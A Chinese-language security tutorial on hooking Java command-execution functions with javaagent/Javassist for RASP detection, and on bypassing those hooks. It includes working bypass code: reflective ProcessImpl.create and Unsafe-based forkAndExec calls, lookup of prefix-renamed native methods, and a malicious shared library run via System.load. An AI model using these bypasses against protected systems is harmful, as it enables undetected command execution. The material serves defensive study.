Rasp Hook 命令执行函数的攻与防
本质上就是 agent 技术
Runtime
可以简单写一个 agentmain hook 掉 Runtime
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package Hook._Runtime;
import javassist.*;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain;
public class AgentDemo implements ClassFileTransformer { private static final String targetClassName = "java.lang.Runtime";
public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new AgentDemo(), true); Class[] classes = instrumentation.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(targetClassName)){ try{ instrumentation.retransformClasses(new Class[]{clas}); } catch (Exception e){ e.printStackTrace(); } } } }
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/","."); if (className.equals(targetClassName)) { ClassPool pool = ClassPool.getDefault(); System.out.println("Find the Inject Class: " + targetClassName); CtClass clazz = null; try { clazz = pool.getCtClass("java.lang.Runtime"); CtMethod method = clazz.getDeclaredMethod("exec"); method.insertBefore("if(!$1.equals(\"\")){$1 = \"mspaint\";};"); method.insertBefore("System.out.println(\"exec method parameter : \"+ $1 );"); byte[] bytes = clazz.toBytecode(); return bytes; } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; } }
|
再写个 Demo 使用 agent 查看结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package Hook._Runtime;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List;
public class MainDemo { public static void main(String[] args) throws Exception{ String path = "./src/main/java/Hook/_Runtime/jars/agentmain.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ if (v.displayName().contains("MainDemo")){ System.out.println("已找到目标类,将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接,并将 agent.jar 发送给虚拟机"); VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path);
Runtime.getRuntime().exec("ozxicjiozjcx"); vm.detach(); } } } }
|
发现不论我们exec输入什么内容,都会弹出画板,说明hook成功了,我们改成其他内容就可以过滤 Runtime 执行系统命令的内容了。

ProcessBuilder
在Linux 和 Windows 下对 Runtime 的 exec 方法进行调试。
Windows 下执行命令最终对应的方法是 java.lang.ProcessImpl#create,该方法是 native 方法,通过 idea 无法再深入调试

而在 Linux 下最终在 UNIXProcess 类的初始化方法中调用了 native 方法 forkAndExec。

这俩 native 方法后面再说,通过调用栈可以看到 Runtime 的 exec 方法都经过了 ProcessBuilder 的 start 方法,所以我们 hook Runtime 后其实是可以使用 ProcessBuilder 进行绕过的。
1 2 3
| ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("calc"); processBuilder.start();
|
所以我们可以对 ProcessBuilder 的 start 方法进行修改,这样也可以同时防止通过 Runtime 进行的命令执行
把 transform 小改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/","."); if (className.equals(targetClassName)) { ClassPool pool = ClassPool.getDefault(); System.out.println("Find the Inject Class: " + targetClassName); CtClass clazz = null; try { clazz = pool.getCtClass(className); CtMethod method = clazz.getDeclaredMethod("start"); method.insertBefore("this.command.add(\"calc\");"); method.insertBefore("this.command.clear();"); byte[] bytes = clazz.toBytecode(); return bytes; } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; }
|
这时候执行的所有命令都会变成 calc ,证明方法调用拦截成功。

UNIXProcess/ProcessImpl
一般来说RASP技术(OpenRASP)都会hook UNIXProcess/ProcessImpl 类来实现对命令执行函数的的监控,因为这里是Java层最底层的类,也是Java层监控的极限,但是攻击者可以反射调用forkAndExec这个native方法或者利用JNI来调用一个自己实现命令执行函数的动态链接库进行利用。JNI 绕过 Rasp 后续再讨论,这里介绍反射的方式。
简单 rasp 检测
现在我们监控 UNIXProcess/ProcessImpl 类,这已经是 Java 层监控的极限了,修改后的 agent 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package Hook._ProcessImpl;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import java.util.Arrays;
public class AgentDemo implements ClassFileTransformer { private static final String[] targetClassNameArray = {"java.lang.ProcessImpl" , "java.lang.UNIXProcess"};
public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new AgentDemo(), true); Class[] classes = instrumentation.getAllLoadedClasses(); for (Class clas:classes){ if (Arrays.asList(targetClassNameArray).contains(clas.getName())){ try{ instrumentation.retransformClasses(new Class[]{clas}); } catch (Exception e){ e.printStackTrace(); } } } }
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/","."); if (Arrays.asList(targetClassNameArray).contains(className)) { ClassPool pool = ClassPool.getDefault(); CtClass clazz = null; try { clazz = pool.getCtClass(className); CtConstructor[] method = clazz.getDeclaredConstructors(); method[0].insertBefore("{System.out.println(\""+ className +" 类被初始化\");}"); return clazz.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; } }
|
Windows 绕过
对于 Windows 环境,根据上面的内容可以知道调用的是 java.lang.ProcessImpl#create 方法,而这个方法是静态方法,不需要实例化对象就可以调用。

以下代码是绕过的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package Hook._ProcessImpl;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.lang.reflect.Method; import java.util.List;
public class _Windows_Demo { public static void main(String[] args) throws Exception{ String path = "./src/main/java/Hook/_ProcessImpl/jars/agentmain.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ if (v.displayName().contains("_Windows_Demo")){ VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path);
System.out.println("---- 直接调用 Runtime ----"); Runtime.getRuntime().exec("whoami");
System.out.println("---- 绕过操作 ----"); bypass_hook("calc");
System.out.println("---- 直接调用 Runtime ----"); Runtime.getRuntime().exec("whoami");
vm.detach(); } } }
public static void bypass_hook(String cmd) throws Exception{ Class processClass = Class.forName("java.lang.ProcessImpl");
String cmdstr = cmd; String envblock = null; String dir = null; long[] stdHandles = new long[]{-1, -1, -1}; boolean redirectErrorStream = true;
Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); create.setAccessible(true); create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream); } }
|
可以发现成功弹出了计算器,并且通过控制台的输出结果可以发现我们的命令调用并没有被 rasp 拦截到,成功的绕过了检测。

Linux 绕过
Linux 下主要调用的是 forkAndExec 方法,但是 forkAndExec 并不和 Windows 下的 create 方法那样是静态方法,其函数声明如下:
正常反射调用 forkAndExec 方法就不能仅通过传入 null 来实现了,需要我们实例化一个 UNIXprocess 对象,而这个实例化操作肯定就会被 rasp 拦截到了,但是我们可以通过 Unsafe 类的 allocateInstance 方法在不调用 UNIXProcess/ProcessImpl 构造方法情况下生成实例。以下是绕过 rasp 的方法示例(forkAndExec 参数属实有点多。。。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public static void bypass_hook_linux(String cmd) throws Exception { Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } Object processObject = unsafe_getObject(processClass);
Object launchMechanism = getFieldValue(processObject, "launchMechanism"); int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1; byte[] helperpath = getFieldValue(processObject, "helperpath"); byte[] prog = new byte[cmd.getBytes().length + 1]; System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length); byte[] argBlock = new byte[]{}; int argc = 0; byte[] envBlock = null; int envc = 0; byte[] dir = null; int[] fds = new int[]{-1, -1, -1}; boolean redirectErrorStream = true;
Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkAndExecMethod.setAccessible(true); forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc, envBlock, envc, dir, fds, redirectErrorStream); }
private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass); }
|
运行后和 windows 绕过的情况一样,成功弹出记事本,而没有触发检测

native
hook 原理解析
因为native方法在class中字节码就是空的,所以我们使用 rasp 从修改方法体来说貌似就没办法防御住上面的绕过方式的。
但是在 JVMTI 中提供了一个方法setNativeMethodPrefix,可以用来设置native方法的解析前缀。
Java无法直接访问到操作系统底层如硬件系统,为此 Java提供了JNI来实现对于底层的访问。JNI,Java Native Interface,它是Java的SDK一部分,JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即 JNI 实现了 Java 和本地代码间的双向交互。Java不能直接调用系统函数,而是通过 forkAndExec 这个 native 函数(Linux 下)调用其用本地代码实现的方法:
https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566

可以看出 native 方法解析到本地方法函数是由Java类的包名称和方法名称组成,这个规则这称之为:standard resolution(标准解析)。
通过 setNativeMethodPrefix 函数对 ClassFileTransformer 设置 native prefix,此时 JVM 将会使用动态解析方式。
比如,现有一个native方法在标准解析下为:
1
| native boolean foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);
|
通过setNativeMethodPrefix函数设置了native prefix,且prefix为”wrapped_”
那么解析关系就会变为:
1
| native boolean wrapped_foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);
|

一旦可以找到对应的native实现,那么调用这个函数,整个解析过程就结束了;
如果没有找到,那么虚拟机将会做依次进行下面的解析工作(method 指的是 native 方法,nativeImplementation 指的是 C/C++ 实现的方法):
1)method(foo) -> nativeImplementation(foo)
增加method的prefix,继续:
2)method(wrapped_foo) -> nativeImplementation(foo)
增加 nativeImplementation的prefix,继续:
3)method(wrapped_foo) -> nativeImplementation(wrapped_foo)
去掉 nativeImplementation 的 prefix,继续:
4)method(wrapped_foo) -> nativeImplementation(foo)
如果找到上面的其中一个对应关系,则执行。否则,因为没有任何一个合适的解析方式,则这个过程失败。
有多个 transformer场景
虚拟机是按 transformer 被加入到的 Instrumentation 之中的次序去解析的(即addTransformer)。
假设有三个 transformer 要被加入进来,他们的次序和相对应的 prefix 分别为:transformer1 和“prefix1_”,transformer2 和 “prefix2_”,transformer3 和 “prefix3_”。 虚拟机做的解析规则为 :
1
| native boolean prefix1_prefix2_prefix3_foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);
|
通过上面的过程,其实我们可以了解到当设置前缀后,如果原本的函数仍存在,则不会有任何影响,所以我们需要删除原 native 方法,编写具有前缀的 native 方法,此时第二个解析就能成功了,但是还需要去调用到这个 native 方法,所以我们还需要写一个同名称同参数的原方法,但是不要加上 native 修饰。
于是我们去 hook 一个 native 方法实际上就是如下过程:
hook 尝试
agent 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| package Hook._native;
import javassist.*; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import java.util.Arrays;
public class AgentDemo implements ClassFileTransformer { private static final String[] targetClassNameArray = {"java.lang.ProcessImpl", "java.lang.UNIXProcess"};
public static void agentmain(String agentArgs, Instrumentation instrumentation) { AgentDemo transforme = new AgentDemo(); String nativePrefix = "ko1sh1_"; instrumentation.addTransformer(transforme, true); if (instrumentation.isNativeMethodPrefixSupported()){ instrumentation.setNativeMethodPrefix(transforme, nativePrefix); }else { System.out.println("The JVM does not support setting the native method prefix"); }
Class[] classes = instrumentation.getAllLoadedClasses(); for (Class clas : classes) { if (Arrays.asList(targetClassNameArray).contains(clas.getName())) { try { instrumentation.retransformClasses(clas); } catch (Exception e) { e.printStackTrace(); } } } }
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/", "."); if (Arrays.asList(targetClassNameArray).contains(className)) { ClassPool pool = ClassPool.getDefault(); CtClass clazz = null; try { if (System.getProperty("os.name").toLowerCase().contains("win")) { clazz = pool.getCtClass(className); CtMethod method = CtNewMethod.make("long ko1sh1_create(String var1, String var2, String var3, long[] var4, boolean var5);", clazz); method.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.SYNCHRONIZED | Modifier.NATIVE); clazz.addMethod(method); CtMethod method1 = clazz.getDeclaredMethod("create"); clazz.removeMethod(method1);
CtMethod method2 = CtNewMethod.make("long create(String var1, String var2, String var3, long[] var4, boolean var5) throws java.io.IOException { " + "String a = ($w)$0; " + "String b = ($w)$1; " + "String c = ($w)$2; " + "System.out.println(\"检测到命令执行操作,内容为:\"+a);"+ "return ko1sh1_create(a,b,c,new long[]{-1,-1,-1},false); " + "}", clazz); method2.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.SYNCHRONIZED); clazz.addMethod(method2);
byte[] bytes = clazz.toBytecode(); return bytes; } else { if ("java.lang.UNIXProcess".equals(className)) { clazz = pool.getCtClass(className); CtMethod method = CtNewMethod.make("int ko1sh1_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);", clazz); method.setModifiers(Modifier.PRIVATE | Modifier.NATIVE); clazz.addMethod(method);
CtMethod method1 = clazz.getDeclaredMethod("forkAndExec"); clazz.removeMethod(method1);
CtMethod method2 = CtNewMethod.make("int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) throws java.io.IOException { System.out.println(\"检测到系统命令执行,内容为: \" + new java.lang.String(var3)); return this.ko1sh1_forkAndExec(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10); }", clazz); method2.setModifiers(Modifier.PRIVATE); clazz.addMethod(method2);
byte[] bytes = clazz.toBytecode(); return bytes; } } } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; } }
|
尝试使用之前的方式进行绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package Hook._native;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List;
public class _OriginalByPass { public static void main(String[] args) throws Exception{ String path = "./src/main/java/Hook/_native/jars/agentmain.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ if (v.displayName().contains("_OriginalByPass")){ VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path); System.out.println("---- 绕过操作 ----"); if (System.getProperty("os.name").toLowerCase().contains("win")) {
bypass_hook_windows("calc"); } else {
bypass_hook_linux("mousepad"); } vm.detach(); } } }
public static void bypass_hook_windows(String cmd) throws Exception{ Class processClass = Class.forName("java.lang.ProcessImpl");
String cmdstr = cmd; String envblock = null; String dir = null; long[] stdHandles = new long[]{-1, -1, -1}; boolean redirectErrorStream = true;
Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); create.setAccessible(true); create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream); } public static void bypass_hook_linux(String cmd) throws Exception { Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } Object processObject = unsafe_getObject(processClass);
Object launchMechanism = getFieldValue(processObject, "launchMechanism"); int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1; byte[] helperpath = getFieldValue(processObject, "helperpath"); byte[] prog = new byte[cmd.getBytes().length + 1]; System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length); byte[] argBlock = new byte[]{}; int argc = 0; byte[] envBlock = null; int envc = 0; byte[] dir = null; int[] fds = new int[]{-1, -1, -1}; boolean redirectErrorStream = true;
Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkAndExecMethod.setAccessible(true); forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc, envBlock, envc, dir, fds, redirectErrorStream); }
private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass); }
public static <T> T getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return (T) field.get(obj); }
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }
|


可以发现在 linux 下和 windows 下均被拦截检测到了。
绕过
通过上面的内容可以发现,其实本质上只是改变了执行命令的函数名称而已,只要我们能找到命令执行的函数名称(其实很好找到,因为都是加前缀,后面的内容就是原本函数的名字都不会变),就还是能绕过检测的,所以其实绕过很简单,只要反射不去调用 create
方法,而是去调用 ko1sh1_create
就行。所以只要在每次执行时进行检测就行,这里以方便的 windows 为例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| package Hook._native;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List;
public class _ByPass1 { public static void main(String[] args) throws Exception{ String path = "./src/main/java/Hook/_native/jars/agentmain.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ if (v.displayName().contains("_ByPass1")){ VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path); if (System.getProperty("os.name").toLowerCase().contains("win")) { bypass_hook_windows("calc"); } else { bypass_hook_linux("mousepad"); } vm.detach(); } } }
public static void bypass_hook_windows(String cmd) throws Exception{ Class processClass = Class.forName("java.lang.ProcessImpl");
String cmdstr = cmd; String envblock = null; String dir = null; long[] stdHandles = new long[]{-1, -1, -1}; boolean redirectErrorStream = true; boolean flag = true; for (Method method : processClass.getDeclaredMethods()) { if (method.getName().endsWith("create") && !method.getName().equals("create")) { System.out.println("修改后的方法名为:"+method.getName()+", 绕过成功!"); method.setAccessible(true); method.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream); flag = false; } } if (flag){ Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); create.setAccessible(true); create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream); }
} public static void bypass_hook_linux(String cmd) throws Exception { Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); }
Object processObject = unsafe_getObject(processClass); Object launchMechanism = getFieldValue(processObject, "launchMechanism"); int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1; byte[] helperpath = getFieldValue(processObject, "helperpath"); byte[] prog = new byte[cmd.getBytes().length + 1]; System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length); byte[] argBlock = new byte[]{}; int argc = 0; byte[] envBlock = null; int envc = 0; byte[] dir = null; int[] fds = new int[]{-1, -1, -1}; boolean redirectErrorStream = true; boolean flag = true;
for (Method method : processClass.getDeclaredMethods()) { if (method.getName().endsWith("forkAndExec") && !method.getName().equals("forkAndExec")) { System.out.println("修改后的方法名为:"+method.getName()+", 绕过成功!"); method.setAccessible(true); method.invoke(processObject, ordinal, helperpath, prog, argBlock, argc, envBlock, envc, dir, fds, redirectErrorStream); flag = false; } } if (flag){ Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkAndExecMethod.setAccessible(true); forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc, envBlock, envc, dir, fds, redirectErrorStream); }
}
private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass); }
public static <T> T getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return (T) field.get(obj); }
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }
|

可以发现命令被成功执行,而且执行的命令并没有被拦截。
JNI 绕过RASP 执行命令
https://www.cnblogs.com/nice0e3/p/14067160.html#0x02-jni%E5%AE%9E%E7%8E%B0
这种方式挺麻烦的,这个装载native方法的类从哪儿上传呢,可能可以写个静态代码块先 loadLibrary ?有空再学吧
System.load 绕过
大概就是编译一个c文件为 so(Linux) 或者 dll (Windows)
1 2 3 4 5 6 7 8 9 10
| #include <stdlib.h> #include <stdio.h> #include <string.h>
__attribute__ ((__constructor__)) void preload (void){ system("calc"); }
|
使用 gcc 进行编译
1 2 3
| gcc -shared -fPIC evil.c -o evil.dll 或 gcc -shared -fPIC evil.c -o evil.so
|
最后通过 Evil 类去调用 System.load() 方法进行加载即可。